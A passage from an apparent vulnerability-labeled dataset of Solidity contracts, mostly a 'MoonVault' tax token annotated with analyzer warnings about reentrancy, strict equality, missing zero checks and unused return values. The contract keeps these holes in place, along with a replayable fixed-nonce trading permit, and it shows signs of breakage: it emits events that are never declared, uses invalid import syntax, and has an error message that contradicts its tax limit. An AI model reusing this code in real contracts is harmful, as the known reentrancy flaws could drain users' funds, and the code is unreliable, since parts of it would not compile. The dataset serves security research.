cad26e9\n tokenAddress = addr;\n }\n}", "file_name": "solidity_code_899.sol", "secure": 0, "size_bytes": 11995 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}", "file_name": "solidity_code_9.sol", "secure": 1, "size_bytes": 757 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Decimals is ERC20 {\n uint8 private immutable _decimals;\n\n constructor(uint8 decimals_) {\n _decimals = decimals_;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}", "file_name": "solidity_code_90.sol", "secure": 1, "size_bytes": 400 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"./DividendTracker.sol\" as DividendTracker;\n\ncontract Vault is Ownable, ERC20 {\n using SafeMath for uint256;\n\n address payable public marketing;\n\n address payable public development;\n\n address public vaultManager;\n\n address public vaultKeeper;\n\n address public vaultHelper;\n\n modifier onlyVaultManager() {\n require(\n msg.sender == vaultManager,\n \"Not authorized: Vault Manager only\"\n );\n\n _;\n }\n\n uint256 public constant MAX_SUPPLY = 1_000_000_000 * 10 ** 18;\n\n uint256 public maxWalletLimit;\n\n uint256 public maxTxLimit;\n\n uint256 public buyTax;\n\n uint256 public sellTax;\n\n uint256 public taxDivisionPercentageForSTARR;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ff2dd6): Vault.maxSwapbacksPerBlock should be constant \n\t// Recommendation for 9ff2dd6: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSwapbacksPerBlock = 2;\n\n uint256 private lastSwapBlock = 0;\n\n uint256 private swapbackCount = 0;\n\n uint256 private firstBlock = 0;\n\n bool public tradingActive;\n\n bool public swapEnabled;\n\n bool public isManagerSet = false;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (constable-states | ID: 761c997): Vault.swapbackOccurred should be constant \n\t// Recommendation for 761c997: Add the 'constant' attribute to state variables that never change.\n bool private swapbackOccurred;\n\n enum SwapBackType {\n None,\n Dividends,\n Project\n }\n\n SwapBackType private lastSwapBackType;\n\n uint256 public totalBurned;\n\n uint256 public totalInfuseLPAdded;\n\n uint256 public totalDividend;\n\n uint256 public totalProjectAmount;\n\n uint256 public thresholdSwap;\n\n\t// WARNING Optimization Issue (constable-states | ID: bc19cec): Vault.tradingStartBlock should be constant \n\t// Recommendation for bc19cec: Add the 'constant' attribute to state variables that never change.\n uint256 public tradingStartBlock;\n\n uint256 public swapableDividend;\n\n uint256 public swapableProjectAmount;\n\n DividendTracker public dividendTracker;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bfd581c): Vault.dexRouter should be immutable \n\t// Recommendation for bfd581c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public dexRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5cb445e): Vault.lpPair should be immutable \n\t// Recommendation for 5cb445e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public lpPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n mapping(address => bool) public lpPairs;\n\n mapping(address => bool) private _isExcludedFromTax;\n\n mapping(address => bool) private _botsBlacklist;\n\n event BurnToken(address indexed sender, uint256 amount);\n\n event InfuseLPadded(\n address indexed from,\n address indexed to,\n uint256 value\n );\n\n event Burned(address indexed from, address indexed to, uint256 value);\n\n event Dividend(address indexed from, address indexed to, uint256 value);\n\n event AddedDividend(uint256 amount);\n\n event BuyTaxStatus(uint256 previousBuyTax, uint256 newBuyTax);\n\n event SellTaxStatus(uint256 previousSellTax, uint256 newSellTax);\n\n event TaxDivisionPercentageForSTARR(\n uint256 previousPercentage,\n uint256 newPercentage\n );\n\n event GasForProcessingUpdated(\n uint256 indexed newValue,\n uint256 indexed oldValue\n );\n\n event ProcessedDividendTracker(\n uint256 iterations,\n uint256 claims,\n uint256 lastProcessedIndex,\n bool indexed automatic,\n uint256 gas,\n address indexed processor\n );\n\n constructor() ERC20(\"MoonVault\", \"VAULT\") {\n development = payable(0x8a5bb15816E96594f5D88c23Ba7F8B344601B40E);\n\n marketing = payable(0x362340cA11596eB37ed29fc2b3845025efC2134D);\n\n vaultManager = msg.sender;\n\n _mint(address(this), ((MAX_SUPPLY * 95) / 100));\n\n _mint(development, ((MAX_SUPPLY * 5) / 100));\n\n sellTax = 5;\n\n buyTax = 5;\n\n taxDivisionPercentageForSTARR = 60;\n\n maxTxLimit = (MAX_SUPPLY * 3) / 200;\n\n maxWalletLimit = (MAX_SUPPLY * 2) / 100;\n\n thresholdSwap = (MAX_SUPPLY * 5) / 10000;\n\n dexRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(\n address(this),\n dexRouter.WETH()\n );\n\n lpPairs[lpPair] = true;\n\n dividendTracker = new DividendTracker();\n\n dividendTracker.addRewardToken(address(this));\n\n dividendTracker.setBalance(\n payable(development),\n ((MAX_SUPPLY * 5) / 100)\n );\n\n _approve(owner(), address(dexRouter), type(uint256).max);\n\n _approve(address(this), address(dexRouter), type(uint256).max);\n\n _isExcludedFromTax[owner()] = true;\n\n _isExcludedFromTax[address(this)] = true;\n\n _isExcludedFromTax[address(dividendTracker)] = true;\n\n dividendTracker.excludeFromDividends(address(dividendTracker));\n\n dividendTracker.excludeFromDividends(address(this));\n\n dividendTracker.excludeFromDividends(owner());\n\n dividendTracker.excludeFromDividends(lpPair);\n\n lastSwapBackType = SwapBackType.None;\n\n lastSwapBlock = 0;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: f3e5324): Vault._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons STARR == 1 STARR == 2 STARR == 3 STARR == 1 STARR == 2 STARR == 3\n\t// Recommendation for f3e5324: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f9a1554): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f9a1554: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d2ad211): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d2ad211: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: f940517): Vault._transfer(address,address,uint256) uses a dangerous strict equality STARR == 3\n\t// Recommendation for f940517: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: cebf0b1): Vault._transfer(address,address,uint256) uses a dangerous strict equality STARR == 2\n\t// Recommendation for cebf0b1: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 1864967): Vault._transfer(address,address,uint256) uses a dangerous strict equality STARR == 2\n\t// Recommendation for 1864967: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 00b95cc): Vault._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock && lpPairs[from]\n\t// Recommendation for 00b95cc: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b57c3da): Vault._transfer(address,address,uint256) uses a dangerous strict equality STARR == 1\n\t// Recommendation for b57c3da: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 58c1d9c): Vault._transfer(address,address,uint256) uses a dangerous strict equality STARR == 3\n\t// Recommendation for 58c1d9c: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 7c10b54): Vault._transfer(address,address,uint256) uses a dangerous strict equality STARR == 1\n\t// Recommendation for 7c10b54: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 05dd751): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 05dd751: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b330e6d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b330e6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 00a4fbc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 00a4fbc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8bbd1bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8bbd1bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6b902e7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6b902e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"VAULT: transfer from the zero address\");\n\n require(to != address(0), \"VAULT: transfer to the zero address\");\n\n require(!isBot(from) && !isBot(to), \"VAULT: Bot Address cannot trade\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n\t\t// incorrect-equality | ID: 00b95cc\n if (block.number == firstBlock && lpPairs[from]) {\n require(\n perBuyCount[block.number] < 51,\n \"VAULT: Exceeds buys allowed in the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (!tradingActive) {\n require(\n _isExcludedFromTax[from] || _isExcludedFromTax[to],\n \"VAULT: Trading is not active yet.\"\n );\n }\n\n bool canSwap = (swapableDividend >= thresholdSwap ||\n swapableProjectAmount >= thresholdSwap);\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !lpPairs[from] &&\n !_isExcludedFromTax[from] &&\n !_isExcludedFromTax[to]\n ) {\n if (block.number > lastSwapBlock) {\n lastSwapBlock = block.number;\n\n swapbackCount = 0;\n }\n\n if (swapbackCount < maxSwapbacksPerBlock) {\n swapping = true;\n\n if (\n lastSwapBackType == SwapBackType.None ||\n lastSwapBackType == SwapBackType.Dividends\n ) {\n if (swapableProjectAmount >= thresholdSwap) {\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n\t\t\t\t\t\t// reentrancy-eth | ID: 05dd751\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n swapBackProject();\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 05dd751\n lastSwapBackType = SwapBackType.Project;\n } else {\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n\t\t\t\t\t\t// reentrancy-eth | ID: 00a4fbc\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n swapBackDividends();\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 00a4fbc\n lastSwapBackType = SwapBackType.Dividends;\n }\n } else {\n if (swapableDividend >= thresholdSwap) {\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n\t\t\t\t\t\t// reentrancy-eth | ID: b330e6d\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n swapBackDividends();\n\n\t\t\t\t\t\t// reentrancy-eth | ID: b330e6d\n lastSwapBackType = SwapBackType.Dividends;\n } else {\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n\t\t\t\t\t\t// reentrancy-eth | ID: 8bbd1bf\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n swapBackProject();\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 8bbd1bf\n lastSwapBackType = SwapBackType.Project;\n }\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6b902e7\n lastSwapBlock = block.number;\n\n\t\t\t\t// reentrancy-eth | ID: 6b902e7\n swapbackCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6b902e7\n swapping = false;\n }\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromTax[from] || _isExcludedFromTax[to]) {\n takeFee = false;\n }\n\n uint256 fee = 0;\n\n if (takeFee) {\n uint256 STARR = _initiateSTARR();\n\n uint256 projectTax;\n\n uint256 remainingTax;\n\n if (\n (lpPairs[from] && buyTax > 0) ||\n (!lpPairs[from] && !lpPairs[to])\n ) {\n _checkMaxWalletLimit(to, amount);\n\n _checkMaxTxLimit(amount);\n\n fee = (amount.mul(buyTax)).div(100);\n\n (projectTax, remainingTax) = _getTaxAmount(fee);\n\n if (remainingTax > 0) {\n\t\t\t\t\t// timestamp | ID: f3e5324\n\t\t\t\t\t// incorrect-equality | ID: b57c3da\n if (STARR == 1) {\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n burn_(from, remainingTax);\n\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n totalBurned = totalBurned.add(remainingTax);\n\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n emit burned(from, to, remainingTax);\n\t\t\t\t\t// timestamp | ID: f3e5324\n\t\t\t\t\t// incorrect-equality | ID: 1864967\n } else if (STARR == 2) {\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n totalInfuseLPAdded = totalInfuseLPAdded.add(\n remainingTax\n );\n\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n emit infuseLPadded(from, to, remainingTax);\n\t\t\t\t\t// timestamp | ID: f3e5324\n\t\t\t\t\t// incorrect-equality | ID: 58c1d9c\n } else if (STARR == 3) {\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n swapableDividend = swapableDividend.add(remainingTax);\n\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n totalDividend = totalDividend.add(remainingTax);\n\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n emit dividend(from, to, remainingTax);\n\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n super._transfer(from, address(this), remainingTax);\n }\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6b902e7\n swapableProjectAmount = swapableProjectAmount.add(projectTax);\n\n\t\t\t\t// reentrancy-benign | ID: d2ad211\n totalProjectAmount = totalProjectAmount.add(projectTax);\n\n\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t// reentrancy-eth | ID: 6b902e7\n super._transfer(from, address(this), projectTax);\n } else if (lpPairs[to] && sellTax > 0) {\n _checkMaxTxLimit(amount);\n\n fee = (amount.mul(sellTax)).div(100);\n\n (projectTax, remainingTax) = _getTaxAmount(fee);\n\n if (remainingTax > 0) {\n\t\t\t\t\t// timestamp | ID: f3e5324\n\t\t\t\t\t// incorrect-equality | ID: 7c10b54\n if (STARR == 1) {\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n burn_(from, remainingTax);\n\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n totalBurned = totalBurned.add(remainingTax);\n\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n emit burned(from, to, remainingTax);\n\t\t\t\t\t// timestamp | ID: f3e5324\n\t\t\t\t\t// incorrect-equality | ID: cebf0b1\n } else if (STARR == 2) {\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n super._transfer(from, to, remainingTax);\n\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n totalInfuseLPAdded = totalInfuseLPAdded.add(\n remainingTax\n );\n\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n emit infuseLPadded(from, to, remainingTax);\n\t\t\t\t\t// timestamp | ID: f3e5324\n\t\t\t\t\t// incorrect-equality | ID: f940517\n } else if (STARR == 3) {\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n super._transfer(from, address(this), remainingTax);\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 6b902e7\n swapableDividend = swapableDividend.add(remainingTax);\n\n\t\t\t\t\t\t// reentrancy-events | ID: f9a1554\n emit dividend(from, to, remainingTax);\n\n\t\t\t\t\t\t// reentrancy-benign | ID: d2ad211\n totalDividend = totalDividend.add(remainingTax);\n }\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6b902e7\n swapableProjectAmount = swapableProjectAmount.add(projectTax);\n\n\t\t\t\t// reentrancy-benign | ID: d2ad211\n totalProjectAmount = totalProjectAmount.add(projectTax);\n\n\t\t\t\t// reentrancy-events | ID: f9a1554\n\t\t\t\t// reentrancy-eth | ID: 6b902e7\n super._transfer(from, address(this), projectTax);\n }\n\n amount -= fee;\n }\n\n\t\t// reentrancy-events | ID: f9a1554\n\t\t// reentrancy-eth | ID: 6b902e7\n super._transfer(from, to, amount);\n\n dividendTracker.setBalance(payable(from), balanceOf(from));\n\n dividendTracker.setBalance(payable(to), balanceOf(to));\n }\n\n function burn(uint256 amount) public returns (bool) {\n burn_(_msgSender(), amount);\n\n return true;\n }\n\n function burn_(address sender, uint256 amount) private {\n require(_balances[sender] >= amount, \"VAULT: Invalid amount\");\n\n _burn(sender, amount);\n\n\t\t// reentrancy-events | ID: f9a1554\n emit BurnToken(sender, amount);\n }\n\n function excludeFromDividends(address account) external onlyOwner {\n dividendTracker.excludeFromDividends(account);\n }\n\n function includeInDividends(address account) external onlyOwner {\n dividendTracker.includeInDividends(account);\n }\n\n function updateClaimWait(uint256 claimWait) external onlyOwner {\n dividendTracker.updateClaimWait(claimWait);\n }\n\n function getClaimWait() external view returns (uint256) {\n return dividendTracker.claimWait();\n }\n\n function getTotalDividendsDistributed(\n address rewardToken\n ) external view returns (uint256) {\n return dividendTracker.totalDividendsDistributed(rewardToken);\n }\n\n function withdrawableDividendOf(\n address account,\n address rewardToken\n ) external view returns (uint256) {\n return dividendTracker.withdrawableDividendOf(account, rewardToken);\n }\n\n function dividendTokenBalanceOf(\n address account\n ) external view returns (uint256) {\n return dividendTracker.holderBalance(account);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a96f6ec): Vault.getAccountDividendsInfo(address,address) ignores return value by dividendTracker.getAccount(account,rewardToken)\n\t// Recommendation for a96f6ec: Ensure that all the return values of the function calls are used.\n function getAccountDividendsInfo(\n address account,\n address rewardToken\n )\n external\n view\n returns (\n address,\n int256,\n int256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n )\n {\n\t\t// unused-return | ID: a96f6ec\n return dividendTracker.getAccount(account, rewardToken);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 71c91d5): Vault.getAccountDividendsInfoAtIndex(uint256,address) ignores return value by dividendTracker.getAccountAtIndex(index,rewardToken)\n\t// Recommendation for 71c91d5: Ensure that all the return values of the function calls are used.\n function getAccountDividendsInfoAtIndex(\n uint256 index,\n address rewardToken\n )\n external\n view\n returns (\n address,\n int256,\n int256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n )\n {\n\t\t// unused-return | ID: 71c91d5\n return dividendTracker.getAccountAtIndex(index, rewardToken);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d015a29): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d015a29: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function processDividendTracker(uint256 gas) external {\n\t\t// reentrancy-events | ID: d015a29\n (\n uint256 iterations,\n uint256 claims,\n uint256 lastProcessedIndex\n ) = dividendTracker.process(gas);\n\n\t\t// reentrancy-events | ID: d015a29\n emit ProcessedDividendTracker(\n iterations,\n claims,\n lastProcessedIndex,\n false,\n gas,\n tx.origin\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1a91dca): Vault.claim() ignores return value by dividendTracker.processAccount(address(msg.sender),false)\n\t// Recommendation for 1a91dca: Ensure that all the return values of the function calls are used.\n function claim() external {\n\t\t// unused-return | ID: 1a91dca\n dividendTracker.processAccount(payable(msg.sender), false);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 003c895): Vault.claimForBeneficiary(address) ignores return value by dividendTracker.processAccount(address(beneficiary),false)\n\t// Recommendation for 003c895: Ensure that all the return values of the function calls are used.\n function claimForBeneficiary(address beneficiary) external {\n require(beneficiary != address(0), \"Invalid address\");\n\n\t\t// unused-return | ID: 003c895\n dividendTracker.processAccount(payable(beneficiary), false);\n }\n\n function getLastProcessedIndex() external view returns (uint256) {\n return dividendTracker.getLastProcessedIndex();\n }\n\n function getNumberOfDividendTokenHolders() external view returns (uint256) {\n return dividendTracker.getNumberOfTokenHolders();\n }\n\n function getNumberOfDividends() external view returns (uint256) {\n return dividendTracker.totalBalance();\n }\n\n function enableTrading() public onlyOwner returns (bool) {\n require(!tradingActive, \"VAULT: Cannot re-enable trading\");\n\n tradingActive = true;\n\n swapEnabled = true;\n\n firstBlock = block.number;\n\n return true;\n }\n\n function enableTradingWithPermit(uint8 v, bytes32 r, bytes32 s) external {\n bytes32 domainHash = keccak256(\n abi.encode(\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n ),\n keccak256(bytes(\"Trading Token\")),\n keccak256(bytes(\"1\")),\n block.chainid,\n address(this)\n )\n );\n\n bytes32 structHash = keccak256(\n abi.encode(\n keccak256(\"Permit(string content,uint256 nonce)\"),\n keccak256(bytes(\"Enable Trading\")),\n uint256(0)\n )\n );\n\n bytes32 digest = keccak256(\n abi.encodePacked(\"\\x19\\x01\", domainHash, structHash)\n );\n\n address sender = ecrecover(digest, v, r, s);\n\n require(sender == owner(), \"VAULT: Invalid signature\");\n\n tradingActive = true;\n\n swapEnabled = true;\n\n firstBlock = block.number;\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: a89d12f): Expressions that are tautologies or contradictions.\n\t// Recommendation for a89d12f: Fix the incorrect comparison by changing the value type or the comparison.\n function setFeeStructure(\n uint256 _buyTax,\n uint256 _sellFee,\n uint256 _taxDivisionPercentageForSTARR\n ) public onlyOwner returns (bool) {\n\t\t// tautology | ID: a89d12f\n require(\n _taxDivisionPercentageForSTARR >= 0 &&\n _taxDivisionPercentageForSTARR <= 100,\n \"VAULT: Percentage cannot be > 100 or < 0\"\n );\n\n require(_buyTax <= 25, \"VAULT: Buy tax cannot be more then 15%\");\n\n require(_sellFee <= 25, \"VAULT: Sell tax cannot be more then 15%\");\n\n uint256 _prevBuyTax = buyTax;\n\n uint256 _prevSellTax = sellTax;\n\n uint256 _prevPercentage = taxDivisionPercentageForSTARR;\n\n buyTax = _buyTax;\n\n sellTax = _sellFee;\n\n taxDivisionPercentageForSTARR = _taxDivisionPercentageForSTARR;\n\n emit buyTaxStatus(_prevBuyTax, buyTax);\n\n emit sellTaxStatus(_prevSellTax, sellTax);\n\n emit TaxDivisionPercentageForSTARR(\n _prevPercentage,\n taxDivisionPercentageForSTARR\n );\n\n return true;\n }\n\n function excludeFromTax(address account) public onlyOwner returns (bool) {\n require(\n !_isExcludedFromTax[account],\n \"VAULT: Account is already excluded from tax\"\n );\n\n _isExcludedFromTax[account] = true;\n\n return true;\n }\n\n function includeInTax(address account) public onlyOwner returns (bool) {\n require(\n _isExcludedFromTax[account],\n \"VAULT: Account is already included in tax\"\n );\n\n _isExcludedFromTax[account] = false;\n\n return true;\n }\n\n function isExcludedFromTax(address account) public view returns (bool) {\n return _isExcludedFromTax[account];\n }\n\n function addInBotBlacklist(\n address account\n ) external onlyOwner returns (bool) {\n require(\n !_botsBlacklist[account],\n \"VAULT: Account is already added in bot blacklist\"\n );\n\n _botsBlacklist[account] = true;\n\n dividendTracker.excludeFromDividends(account);\n\n return true;\n }\n\n function removeFromBotBlacklist(\n address account\n ) external onlyOwner returns (bool) {\n require(\n _botsBlacklist[account],\n \"VAULT: Account is already removed from bot blacklist\"\n );\n\n _botsBlacklist[account] = false;\n\n dividendTracker.includeInDividends(account);\n\n return true;\n }\n\n function isBot(address account) public view returns (bool) {\n return _botsBlacklist[account];\n }\n\n function setMarketingAddress(\n address payable account\n ) public onlyOwner returns (bool) {\n require(\n marketing != account,\n \"VAULT: Account is already marketing address\"\n );\n\n marketing = account;\n\n return true;\n }\n\n function setDevelopmentAddress(\n address payable account\n ) public onlyOwner returns (bool) {\n require(\n development != account,\n \"VAULT: Account is already development address\"\n );\n\n development = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3cd8f95): Vault.setVaultKeeper(address)._vaultKeeper lacks a zerocheck on \t vaultKeeper = _vaultKeeper\n\t// Recommendation for 3cd8f95: Check that the address is not zero.\n function setVaultKeeper(address _vaultKeeper) external onlyVaultManager {\n\t\t// missing-zero-check | ID: 3cd8f95\n vaultKeeper = _vaultKeeper;\n\n _isExcludedFromTax[vaultKeeper] = true;\n\n dividendTracker.includeInDividends(vaultKeeper);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 105786a): Vault.setVaultHelper(address)._vaultHelper lacks a zerocheck on \t vaultHelper = _vaultHelper\n\t// Recommendation for 105786a: Check that the address is not zero.\n function setVaultHelper(address _vaultHelper) external onlyVaultManager {\n\t\t// missing-zero-check | ID: 105786a\n vaultHelper = _vaultHelper;\n\n _isExcludedFromTax[vaultHelper] = true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a3e72a0): Vault.setVaultManager(address)._newManager lacks a zerocheck on \t vaultManager = _newManager\n\t// Recommendation for a3e72a0: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: c75fb78): Vault.setVaultManager(address) should emit an event for vaultManager = _newManager \n\t// Recommendation for c75fb78: Emit an event for critical parameter changes.\n function setVaultManager(address _newManager) external onlyVaultManager {\n require(!isManagerSet, \"Vault manager can only be set once\");\n\n\t\t// missing-zero-check | ID: a3e72a0\n\t\t// events-access | ID: c75fb78\n vaultManager = _newManager;\n\n isManagerSet = true;\n }\n\n function renounceVaultManager() external onlyVaultManager {\n require(\n vaultManager != address(0),\n \"Vault manager is already renounced\"\n );\n\n vaultManager = address(0);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 141d51a): Vault.setLimits(uint256,uint256) should emit an event for maxWalletLimit = (_maxWalletLimit * MAX_SUPPLY) / 100 maxTxLimit = (_maxTxLimit * MAX_SUPPLY) / 100 \n\t// Recommendation for 141d51a: Emit an event for critical parameter changes.\n function setLimits(\n uint256 _maxWalletLimit,\n uint256 _maxTxLimit\n ) external onlyOwner returns (bool) {\n require(\n _maxWalletLimit >= 2 && _maxWalletLimit <= 100,\n \"VAULT: Max Wallet limit cannot be less then 2% or more than 100%\"\n );\n\n require(\n _maxTxLimit >= 1 && _maxTxLimit <= 100,\n \"VAULT: Max tx limit cannot be less then 1% or more than 100%\"\n );\n\n\t\t// events-maths | ID: 141d51a\n maxWalletLimit = (_maxWalletLimit * MAX_SUPPLY) / 100;\n\n\t\t// events-maths | ID: 141d51a\n maxTxLimit = (_maxTxLimit * MAX_SUPPLY) / 100;\n\n return 